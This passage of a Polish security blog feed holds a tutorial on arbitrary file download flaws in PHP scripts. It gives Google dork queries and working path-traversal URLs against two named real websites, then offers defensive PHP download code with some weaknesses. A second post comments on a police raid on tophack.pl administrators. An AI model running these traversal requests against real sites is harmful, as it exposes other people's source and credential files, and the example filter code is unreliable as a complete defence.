<p style="text-align: center;"><a href="http://farm4.static.flickr.com/3065/2846837230_1f619ac3df_o.png"  title="Przykład działania AFD" onclick="this.target='_blank';"><img src="http://farm4.static.flickr.com/3065/2846837230_890dce249f.jpg" alt="Przykład działania AFD" /></a></p>
<p>Jak to wygląda już tak kompletnie w praktyce życiowej. Wiele osób twierdzi, że nie jest łatwo znaleźć taki błąd. Fakt, co nie zmienia faktu, że nie jest to niemożliwe. Specjalnie dla Was dzisiaj w nocy za pomocą Google wyszukałem <strong>pięć</strong> stron podatnych na ten atak. Jedną z nich wybiorę jako przykład ukazania wyszukania strony, błędu i ostatecznie jego edukacyjnego użycia.</p>
<dl>
<dt>
<ul>
<li><strong>1.</strong> Przeszukujemy Google&#8230;</li>
</ul>
</dt>
<dd>
<p>Możemy to oczywiście zrobić na różne sposoby. Osobiście użyje tejże wyszukiwarki, a stronę znajdywać będę poprzez frazy wyszukiwania, np. takie:</p>
<pre class="brush: plain;">inurl:.eu (getfile.php OR get.php OR file.php OR download.php)
inurl:home.pl (getfile.php OR get.php OR file.php OR download.php)</pre>
<p>Tłumacząc, zostaną wyszukane wszelkie zindeksowane strony w domenie <strong>.eu</strong> (europejskiej) lub <strong>home.pl</strong> z co najmniej jednym plikiem podanym w nawiasie. Oczywiście można rzucić światło imaginacji i podać więcej plików które mogłyby być podanym wyżej przeze mnie źródłem ściągania, ale nam wystarczą tylko te.</dd>
<dt>
<ul>
<li><strong>2.</strong> Znalezienie celu&#8230;</li>
</ul>
</dt>
<dd>Już na pierwszej stronie pierwszej frazy, i drugiej stronie drugiej frazy możemy znaleźć obiekty potencjalnie narażone na atak.</p>
<pre class="brush: plain;">http://anonymouse.org/cgi-bin/anon-www.cgi/http://www.ejls.eu/download.php?file=./issues/2007-12/MohrContiniUK.pdf

http://anonymouse.org/cgi-bin/anon-www.cgi/http://gfp.home.pl/www/news/file.php?file=AGP_notka_prasowa.doc</pre>
</dd>
<dt>
<ul>
<li><strong>3.</strong> Spreparowanie parametru&#8230;</li>
</ul>
</dt>
<dd>Wystarczy tylko wejść pod jeden z tych adresów i spróbować ściągnąć dla przykładu <strong>index.php</strong>. Co się rzuca od razu w oczy to fakt, że w drugim przypadku <em>prawdopodobnie</em> plik przez nas pożądany będzie znajdować się dwa katalogi wyżej niż aktualnie jesteśmy.</p>
<pre class="brush: plain;">http://anonymouse.org/cgi-bin/anon-www.cgi/http://www.ejls.eu/download.php?file=index.php

http://anonymouse.org/cgi-bin/anon-www.cgi/http://gfp.home.pl/www/news/file.php?file=../../index.php</pre>
</dd>
<dt>
<ul>
<li><strong>4.</strong> Co dalej?</li>
</ul>
</dt>
<dd>No właśnie. Nie zrobię Wam tu do końca kursu jak włamać się komuś na stronę. Bo posiadając dostęp do plików można bez problemu dostać się do bazy (o ile takowa istnieje), a co za tym idzie po prostu zostawić <strong><em>&#8220;OWNED&#8221;</em></strong> (o <a href="http://utnij.eu/phising/"  title="Phising Wiki" onclick="this.target='_blank';">phishingowym</a> wykorzystaniu chyba nie trzeba wspominać). Powiem tylko tyle, że znając PHP można bez problemu w takim momencie poznać strukturę plików, z tym co napisałem powyżej także ściągnąć je, a w tym te odpowiadające za konfiguracje czy hasła.</p>
<pre class="brush: plain;">http://anonymouse.org/cgi-bin/anon-www.cgi/http://gfp.home.pl/www/news/file.php?file=../../skins/default.skin.php // inny przykład linku wyciągniętego z źródła index.php
http://anonymouse.org/cgi-bin/anon-www.cgi/http://www.ejls.eu/download.php?file=download.php // ściągnięcie pliku download.php</pre>
</dd>
</dl>
<p>Na koniec kwestia która jest priorytetem i kulminacją tego wpisu.</p>
<blockquote><p>Jak się do ku**y zabezpieczyć przed tym?!</p></blockquote>
<p>Przede wszystkim należy filtrować dane. Zawsze należy, bo nawet jak nie trzeba to prócz większej ilości operacji nic więcej się serwisowi nie stanie z tego powodu. Taka drobna dygresja. Pytanie brzmi, jak to zrobić?</p>
<p style="text-align: center;"><a target="_blank" href="http://farm4.static.flickr.com/3139/2846061969_2c415035c7_o.png"  title="Przykład działania AFD" class="lightbox"><img src="http://farm4.static.flickr.com/3139/2846061969_d1ebeb2a33.jpg" alt="Przykład działania AFD" /></a></p>
<p>I tu już wszystko zależy od inwencji webmastera. Pokaże dwa przykłady w zależności od podawanego argumentu.</p>
<ul>
<li><strong>Ściąganie pliku poprzez ID i wykorzystanie bazy danych MySQL.</strong></li>
</ul>
<p>Przede wszystkim musimy utworzyć prostą tabelę. Zakładam, że wszystkie pliki będą się znajdować w jednym katalogu (powiedzmy <strong>download</strong>).</p>
<pre class="brush: sql;">CREATE TABLE files ( file_id SMALLINT UNSIGNED PRIMARY KEY AUTO_INCREMENT, file_name VARCHAR(255) NOT NULL ) COMMENT = 'file_id; 0-65535; klucz glowny : file_name; 0-255; nie pusty', MAX_ROWS = 65535;</pre>
<p>Nasz zabugowany wyżej plik możemy zamienić na coś takiego (użyłem czystych funkcji PHP dla MySQL, jeśli ktoś zna rozszerzenie MySQLi albo moduł PEAR DB to nie będzie miał problemu z przepisaniem sobie tego):</p>
<pre class="brush: php;">&lt;?php
require_once './config.php'; // plik konfiguracyjny z tablica danych do bazy danych
require_once './mimes.inc.php'; // plik z funkcja rozpoznajaca typy mime (function getMimeType(file))

$file			= ( isset($_GET['file']) ? intval($_GET['file']) : 0 ); // filtracja parametru file zawierajacego domyslnie w sobie liczby calkowite

if ( $file ) // jesli $file jest rozne od 0 tzn ze w parametrze zostalo wpisane ID w postaci cyfry
{
	if ( $connection = mysql_connect($db['host'], $db['user'], $db['pass']) === false ) // laczenie z baza danych za pomoca danych z tablic $db pliku config.php
	{
		print 'Blad polaczenia z baza danych: ' . mysql_error();
		die();
	}
	mysql_select_db($db['base']); // wybor bazy danych

	$fetched		= mysql_fetch_assoc(
		mysql_query('SELECT count(file_id) as counted, file_name
			FROM files
			WHERE file_id = ' . $file . '
			GROUP BY file_id
				LIMIT 1')
		); // zapytanie zliczajace i zwracajace liczbe rekordow o file_id = $file oraz nazwe pliku o podanym ID
	if ( $fetched['counted'] == 1 ) // jesli powyzsze zapytanie zliczylo 1 wiersz tzn ze ID jest prawidlowe
	{
		// szybka, dodatkowo filtracja poprzez zamiane encji na znaki i usuniecie ewentualny /
		// UWAGA! filtracja dokladna wpisywanych danych powinna byc przeprowadzona przy wprowadzaniu pliku do bazy
		if ( strpos($fetched['file_name'], '../') === false &amp;&amp; file_exists('./download/' . $fetched['file_name']) === true ) // sprawdzenie istnienia pliku
		{
			// wyslanie odpowiednich naglowkow
			header('Cache-control: private');
			header('Content-Length: ' . filesize('./download/' . $fetched['file_name']));
    		header('Content-Type: ' . getMimeType($fetched['file_name'])); // wyslanie odpowiedniego typu MIME pliku zwracanego przez funkcje getMimeType (do napisania ;])
    		header('Content-Disposition: attachment; filename=' . basename($fetched['file_name']));

	    	// odczytanie pliku
    		readfile('./download/' . $fetched['file_name']);
		}
		else {
			print 'Plik o podanym ID nie istnieje!'; // nie znaleziono pliku o podanym ID na serwerze, blad!
		}
	}
	else {
		print 'Niepoprawne ID pliku!'; // nie znaleziono pliku o podanym ID, blad!
	}
	mysql_close(); // zamkniecie polaczenia
}
else {
	print 'Brak ID pliku!'; // nie znaleziono pliku o podanym ID, blad!
}
?&gt;</pre>
<p>Należy pamiętać, że ważnym aspektem zachowania bezpieczeństwa jest także odpowiednia filtracja przy dodawaniu rekordów z nazwami plików do bazy.</p>
<p style="text-align: center;"><a target="_blank" href="http://farm4.static.flickr.com/3014/2847271125_0d1894e6f0_o.png"  title="Przykład działania AFD" class="lightbox"><img src="http://farm4.static.flickr.com/3014/2847271125_ea2576202d.jpg" alt="Przykład działania AFD" /></a></p>
<ul>
<li><strong>Ściąganie pliku po jego nazwie.</strong></li>
</ul>
<p>Tym razem zabezpieczenie będzie trzeba zrobić bardziej intuicyjnie i oparte tylko na odpowiednim filtrowaniu. Wszystko zależy tutaj od tego skąd chcemy ściągać pliki. Przede wszystkim powinniśmy <strong>zabronić</strong> jakiegokolwiek pobierania z katalogów nadrzędnych, a także z katalogów podrzędnych w których znajdują się pliki będące integralną częścią strony. Najwygodniej oczywiście byłoby ustawić jeden, konkretny katalog do ściągania. Nie mniej jednak my skupimy się na ograniczeniu do <strong>n-tej</strong> ilości podkatalogów. Ostatecznie należy pamiętać także, aby w katalogach do których będzie miał dostęp użytkownik z poziomu skryptu pobierającego nie było plików innych niż zdatne do takiego ściągnięcia, no i ewentualnie <strong>index.html</strong> z pustą stroną.</p>
<pre class="brush: php;">&lt;?php
function afdFiltration($file, $a_extns, $pattern = '')
{
	$file					= html_entity_decode(urldecode($file)); // usunięcie postaci procentowej znaków i zdekodowanie encji na znaki

	// sprawdzenie, czy wystepuje w ciagu ../ i ..\
	if ( strpos($file, '../') !== false || strpos($file, '..\\') !== false )
	{
		return '';
	}

	if ( $pattern != '' )
	{
		if ( !preg_match($pattern, $file) ) // jesli podano wzor to sprawdzenie czy pokrywa sie on z podanym plikiem
		{
			return '';
		}
	}

	$extension				= strtolower(end(explode(&quot;.&quot;, $file))); // rozszerzenie pliku
	if ( in_array($extension, $a_extns) === false ) // sprawdzenie czy rozszerzenie pliku pokrywa sie z dozwolonymi rozszerzeniami w skrypcie
	{
		return '';
	}

	if ( file_exists($file) === false ) // sprawdzenie istnienia pliku
	{
		return '';
	}

	return $file; // zwrocenie przefiltrowanego adresu pliku
}

require_once './mimes.inc.php'; // plik z funkcja rozpoznajaca typy mime (function getMimeType(file))

$allowed_extensions		= array('pdf', 'txt', 'c'); // dozwolone rozszerzenia plikow
$pattern				= ''; // opcjonalny wzor do sprawdzenia poprawnosci wprowadzonego adresu pliku

$file					= ( isset($_GET['file']) ? afdFiltration($_GET['file'], $allowed_extensions, $pattern) : '' ); // wywolanie funkcji filtrujacej, gdy podano argument file

if ( $file != '' ) // w wypadku pozytywnego przejscia filtracji
{
	header('Cache-control: private');
	header('Content-Length: ' . filesize($file));
	header('Content-Type: ' . getMimeType($file)); // wyslanie odpowiedniego typu MIME pliku zwracanego przez funkcje getMimeType (do napisania ;])
   	header('Content-Disposition: attachment; filename=' . basename(strtolower(end(explode(&quot;/&quot;, $file)))));

	// odczytanie pliku
    readfile($file);
}
else {
	print 'Nieprawidłowa nazwa lub ścieżka do pliku!'; // nie znaleziono pliku o podanym ID, blad!
}
?&gt;</pre>
<p>Zasada powyższego, przykładowego skryptu jest prosta. Filtrujemy w trzech poziomach. Zmieniając encje na znaki usuwamy ciąg <strong>../</strong> z adresu. Sprawdzamy opcjonalnie adres do pliku wg. zadanego przez nas wzorca (o ile takowy podamy) i ostatecznie porównujemy rozszerzenie pliku z dozwolonymi przez nas osobiście rozszerzeniami. Przykładem wzorca dla wyrażenia regularnego będzie np.:</p>
<pre class="brush: php;">$pattern				= '/^([a-zA-Z0-9\_\-]+)\\.([a-z0-9]{2,4})$/';</pre>
<p>Pozwala ono na ściąganie dowolnego pliku zawierającego w sobie duże i małe litery, cyfry oraz znaki _ i -, a także rozszerzenie będące małymi literami i/lub cyframi o długości od dwóch do czterech znaków.</p>
<p>Na koniec przekazuje kilku minutowy filmik obrazujący znalezienie i użycie błędu. Zapraszam <a target="_blank" href="http://6thavenue.org/stro/-movies/afd_attack_movie/afd_attack_movie.avi"  title="Zobrazowanie błędu"><strong>tutaj</strong></a>.</p>
<p>Uprzejmie proszę też o komentarze, jak wygląda ten tutorial, czy jest przydatny i przede wszystkim czy taka forma i taka ilość informacji będzie odpowiednia dla przyszłych artykułów z tego zakresu.</p>
<p>PS: <strong>wszelkie znalezione i ukazane błędy zostały przedstawione tylko i wyłącznie w formie edukacyjnej. Nie odpowiadam za formę wykorzystania ich przez użytkowników. Błędy zgłosiłem twórcom stron, więc prędzej czy później mogą one zostać załatane. Proszę o rozsądne ich wykorzystanie przy kształceniu własnych możliwości i NIE NISZCZENIE pracy autorów tych stron.</strong>.</p>
]]></content:encoded>
			<wfw:commentRss>http://m1chu.eu/2008/09/11/jak-zabezpieczyc-skrypt-phpmysql-czesc-1-luka-arbitrary-file-download-afd/feed/</wfw:commentRss>
		<slash:comments>25</slash:comments>
<enclosure url="http://6thavenue.org/stro/-movies/afd_attack_movie/afd_attack_movie.avi" length="1811968" type="video/x-msvideo" />
<enclosure url="http://6thavenue.org/stro/-movies/afd_attack_movie/afd_attack_movie.mpg" length="23524352" type="video/mpeg" />
		</item>
		<item>
		<title>Czy taki właśnie jest Polski hacking?</title>
		<link>http://m1chu.eu/2007/12/26/czy-taki-wlasnie-jest-polski-hacking/</link>
		<comments>http://m1chu.eu/2007/12/26/czy-taki-wlasnie-jest-polski-hacking/#comments</comments>
		<pubDate>Wed, 26 Dec 2007 19:50:39 +0000</pubDate>
		<dc:creator>m1chu</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[d3m0n]]></category>
		<category><![CDATA[gregstar]]></category>
		<category><![CDATA[prokuratura]]></category>
		<category><![CDATA[tophack]]></category>

		<guid isPermaLink="false">http://m1chu.eu/hacking/czy-taki-wlasnie-jest-polski-hacking</guid>
		<description><![CDATA[Właśnie, jaki jest? Z jednej strony z Polski wyłaniają się jedni z najlepszych, jak nie najlepsi informatycy na świecie. Z drugiej strony szczególnie na naszej Polskiej scenie internetu dominuje wizerunek Polaków, małolatów, exploitciarzy wśród rodzimego &#8220;haksjorstwa&#8221;. Celowo zaznaczyłem to w cudzysłowiu, aby nie obrazić osób które są w tym naprawdę dobre, które swoim działaniem pomagają [...]]]></description>
			<content:encoded><![CDATA[<p>Właśnie, jaki jest? Z jednej strony z Polski wyłaniają się jedni z najlepszych, jak nie najlepsi informatycy na świecie. Z drugiej strony szczególnie na naszej Polskiej scenie internetu dominuje wizerunek Polaków, małolatów, exploitciarzy wśród rodzimego &#8220;haksjorstwa&#8221;. Celowo zaznaczyłem to w cudzysłowiu, aby nie obrazić osób które są w tym naprawdę dobre, które swoim działaniem pomagają i przede wszystkim gdy wymaga tego sytuacja charakteryzują się skromnością. Powtórzę więc jeszcze raz. Jak wygląda sytuacja Polskiego hackingu? Nie istnieje? Jest tak głęboko ukryty, że słychać o nim naprawdę sporadycznie lub wręcz wcale? Czy może jego częścią, wierzchołkiem, podstawą są osoby pokroju administratorów <strong>tophack.pl</strong>?</p>
<p><span id="more-32"></span></p>
<p>Początkowo chciałem wogóle nie komentować sytuacji. Bo i po co? Ale narastający odzew ślepego poparcia, które jakby nie patrzeć w wielu przypadkach jest słuszne z lekka mnie degustował. Można popierać pewne aspekty, zachowania. Można nie lubić policji, ale nie przeobrażajmy tego wszystkiego w <strong>normatywny konformizm</strong> charakteryzujący 15sto latków którym internet i burza hormonów robi z mózgów papkę. Nie róbmy z tego zmetaforyzowanej sytuacji <strong>&#8220;kto nie pije, ten z policji&#8221;</strong>. Są oczywiście osoby które mają pełne prawo nie lubić tego, czy tamtego &#8211; ale nie okłamujmy się, opinia pozostałych to typowa reakcja pozwalająca przypodobać się innym.</p>
<p>Dlatego osobiście spróbuje jak najbardziej z boku i obiektywnie ocenić sytuację. Jako osoba postronna której odczucia do głównych bohaterów tej sytuacji redukują się do minimum. Właśnie, kim są bohaterowie?</p>
<p>Tak więc (ach wiem, nie rozpoczyna się zdania od takiej formy &#8211; co mi tam ;]) są nimi administratorzy strony <strong>tophack.pl</strong>. Mianowicie:</p>
<ul>
<li><strong>d3m0n</strong>,</li>
<li><strong>Gregstar</strong>,</li>
<li><strong>s@S@n</strong> (co do niego to szczerze nie pamiętam czy adminem był, czy nie? Przyznaję się, proszę nie bić ;])</li>
</ul>
<p>Bohaterami sprawy stali się <strong>21 Grudnia b.r.</strong> po tym jak w zorganizowanej akcji o godzinie <strong>6 rano</strong> policja zawitała u wszystkich trzech w domach z nakazami przeszukania mieszkań wraz z zabezpieczeniem wszystkich niezbędnych dowodów. Screeny z nakazów macie <a target="_blank" href="http://img137.imageshack.us/img137/610/es2sw8.jpg"  title="Nakaz">tutaj</a> i <a target="_blank" href="http://img174.imageshack.us/img174/5863/es3nd2.jpg"  title="Nakaz">tutaj</a>.</p>
<p>I w czym sęk tego wpisu? Przede wszystkim w fakcie zdziwienia się &#8220;poszkodowanych&#8221;. Jest kilka dziwnych aspektów, jak np.:</p>
<ul>
<li>potraktowanie strony której zawartość merytoryczna edytowana była przez zewnętrznych użytkowników jako forum. Tak, to jest dziwne &#8211; powiedziałbym nawet, że jest to ewidentny błąd prokuratury, bo jakbym nie patrzał, jakiej definicji bym nie próbował zastosować &#8211; to forum, a strona internetowa typu tophack nie mają ze sobą zbytnio nic wspólnego,</li>
<li>fakt, że osoby te ponoć mają występować w formie świadków, a zostały potraktowane jak oskarżeni. Rozumiem, że można zbierać dowody &#8211; ale o szóstej nad ranem to się chyba domniemanym przestępcą planuje wizyty, a nie świadkom?</li>
</ul>
<p>Nie mniej jednak, to koniec moich osobistych zdziwień. Powinienem napisać teraz: <strong>&#8220;walczmy! Nie dajmy rządowi wygrać! Postawmy się policji! Zbojkotujmy &#8216;Tygodnik Sanocki&#8217; oraz Starostwo Powiatowe w Lesku za to, że wnieśli oskarżenie&#8221;</strong>. Nic z tych rzeczy. Przejdę za to do analizy, w pierwszeństwie <a target="_blank" href="http://194.181.6.227/akcja.php"  title="Oświadczenie">tego</a> oświadczenia <strong>d3m0na</strong>.</p>
<blockquote><p>Otóż według pism wydanych przez prokuraturę strona tophack.pl była forum internetowym, co nie jest prawdą (definicja &#8220;forum internetowego&#8221; nie zgadza się z charakterem strony).</p></blockquote>
<p>Jakby nie patrzeć faktycznie forum to to nie było.</p>
<blockquote><p>Co więcej, wezwany na przesłuchanie nie jest jeden z administratorów, lecz jego ojciec, który ze sprawą nie ma nic wspólnego.</p></blockquote>
<p>Więc zacytuje od razu wypowiedź <strong>d3m0na</strong> opublikowaną na CyberTerroryzmie:</p>
<blockquote><p>&#8220;Domena tophack.pl zarejestrowana jest na mojego ojca, który będzie miał teraz sprawę w sądzie a nie wie nawet co znaczy tophack.&#8221;</p></blockquote>
<p>Chyba sam sobie odpowiedział. Właściciel domeny jest zarazem właścicielem lub współwłaścicielem serwisu. Więc nie ma się tu co dziwić, że ojciec został wezwany na przesłuchanie. Po za tym &#8211; może aspektem jest wiek? Niby na <strong>wrzut-cie</strong> napisał on, że ma <strong>18ście</strong> lat. Rocznikowo? Skończone? Czy może to tylko blef? Bo jeszcze na innym forum dotyczącym społeczności zajmującej się w pewnym sensie zabezpieczeniami można wyczytać, że otrzymał on kuratora (informacja niepotwierdzona, więc tylko domniemam). Za tego typu rzeczy można dostać kuratora chyba tylko jeśli się nie jest pełnoletnim? Tak więc?</p>
<blockquote><p>Żeby było weselej, cała sprawa odbywa się w Rzeszowie do którego średnia odległość wszystkich administratorów to 400km.</p></blockquote>
<p>Szkoła średnia. Zajęcia bodajże WOS-u. Prokuratura prowadzi postępowanie w miejscu domniemanego popełnienia przestępstwa, a nie tam, gdzie wygodniej oskarżonym. Jeśli żyjesz w Zakopanym, a ktoś wniesie oskarżenie o popełnieniu przestępstwa w Szczecinie to tam będzie odbywać się rozprawa, a nie w miejscu zamieszkania oskarżonego.</p>
<blockquote><p>Czy na podstawie zrzutów ekranów, które można zobaczyć tylko (strona tophack.pl została zablokowana) w cache google (http://64.233.183.104/search?q=cache:tophack.pl/screen301.html), można przewrócić życie uczciwych obywateli do góry nogami.</p></blockquote>
<p>Bardzo naciągana sentencja. Nie będę pisał dlaczego tak sądzę. Wystarczy poszukać na google-ach. Nie chcę nikomu szkodzić, bezpośrednio.</p>
<blockquote><p>Warto jeszcze wspomnieć, że podczas przeszukania w domu d3m0na został również skonfiskowany bardzo ważny komputer rodziców, niezbędny do funkcjonowania ich firmy.</p></blockquote>
<p>Zastanawia mnie jedynie fakt &#8211; że jednego dnia niektórzy afiszują się jacy to świetni w hackingu nie są obrażając przy tym innych, a dzień później zrzucają winę na wszystkich tylko nie na siebie. Rozumiem fakt, rodzinna firma na tym cierpi. Rozumiem błędy prokuratury i jeśli będzie można powinno się walczyć o zadośćuczynienie w kwestii tych błędów. Ale czy tylko w tych aspektach leży problem? Może rodzice najpierw powinni skupić się na tym co robił ich synek?</p>
<blockquote><p>&#8220;Czy pani prokurator przemyślała swoje działania, czy miała prawo do zamknięcia serwisu tophack.pl, który był tylko portalem czysto informacyjnym oraz czy przeszukania i zabranie całego sprzętu były konieczne. Czy w taki sposób działania pani prokurator nie narażają budżetu naszego państwa na ponoszenie bezpodstawnych dużych kosztów i uniemożliwiają prowadzenie serwisu tophack oraz działalności gospodarczej członków rodzin poszkodowanych&#8221;</p></blockquote>
<p>To może ja spytam inaczej: <strong>&#8220;Czy oskarżeni/świadkowie za każdym razem gdy dla zabawy popisywali się swoimi umiejętnościami dokładnie analizowali swoje czyny? Czy nie narażali oni potencjalnych właścicieli stron na straty? Czy nie uniemożliwiali działania danych stron, czy związanych z nimi działalności gospodarczych?&#8221;</strong> Fajne porównanie, co nie? I wybaczcie mi, że nawiązałem tu do trochę innych aspektów działalności trzech naszych bohaterów. Ale tak jak nie popieram działania prokuratury, tak w wielu przypadkach nie popieram działalności tychże Panów. A przynajmniej ich obnoszenia się z tym.</p>
<blockquote><p>Czy nie ma ważniejszych spraw do rozwiązania w naszym kraju, a może mamy za dużo publicznych pieniędzy (ciekawe, ile kosztowała ta bezsensowna akcja?).</p></blockquote>
<p>Pomyłka. Prokuratura zareagowała z powództwa cywilnego. Co mieli zrobić? Powiedzieć, że oni nie chcą i się tym nie zajmą. Narzekamy na podejście do Polskiego prawa, ale w tym wypadku co by to było? Jutro zgwałcona kobieta przyszła by wnieść sprawę, a oni powiedzieli by, że nie chcę się tego podjąć? Paranoja. Obstawiam, że gdyby nikt nie zgłosił tego &#8211; to do dzisiaj strona by stała.</p>
<p>Tyle na temat bezpośredniego komentarza. Jeśli ktoś chce dodatkowo zobaczyć o co chodziło w filozofii założonej przez nich strony &#8211; proszę archiwa z <a target="_blank" href="http://web.archive.org/web/*/http://tophack.pl"  title="Archiwum">WebArchive</a>.</p>
<p>Żebym nie wyszedł na skurczylisyna. Smutne jest takie potraktowanie ich przez policję, prokuraturę. Jacy nie są, czego nie robili &#8211; ulicznie &#8220;wjazdy&#8221; tego typu za coś takiego (właśnie za co? Bo nadal nie wiadomo dokładnie, z relacji wynika jedno, z poczynań drugie) jest co najmniej nie na miejscu. Przecież to nie mordercy. Pomimo, że nie lubię obłudy (którą wykazywali niektórzy z nich przynajmniej via internet) to w pewnym sensie mam nadzieje, że zakończy się to dla nich pozytywnie. Po co niszczyć ludziom w tym wieku życie wpisem w kartotece? Mógłbym napisać osobom które po części niszczyły bądź próbowały obrazić pracę lub pewne osoby, żeby nie dawały naruszać swoich praw osobistych. Mógłbym pisać jeszcze wiele&#8230; ale napiszę jedno, znajdźcie sobie dobrego prawnika. Tyle.</p>
<p>I na koniec podstawowe pytanie. Po raz kolejny. To jest Polski hacking? Który tak <strong>łatwo</strong> wpadł? Uświadomcie mnie &#8211; bo ja nigdy z szerszą grupą osób z tej &#8220;branży&#8221; nie miałem do czynienia. Dlatego z pokorą o to pytam&#8230;</p>
<p>PS: są to tylko moje własne przemyślenia. Pomyliłem się? Zwróćcie mi uwagę. Liczę na wymianę zdań ;]</p>
]]></content:encoded>
			<wfw:commentRss>http://m1chu.eu/2007/12/26/czy-taki-wlasnie-jest-polski-hacking/feed/</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
	</channel>
</rss>
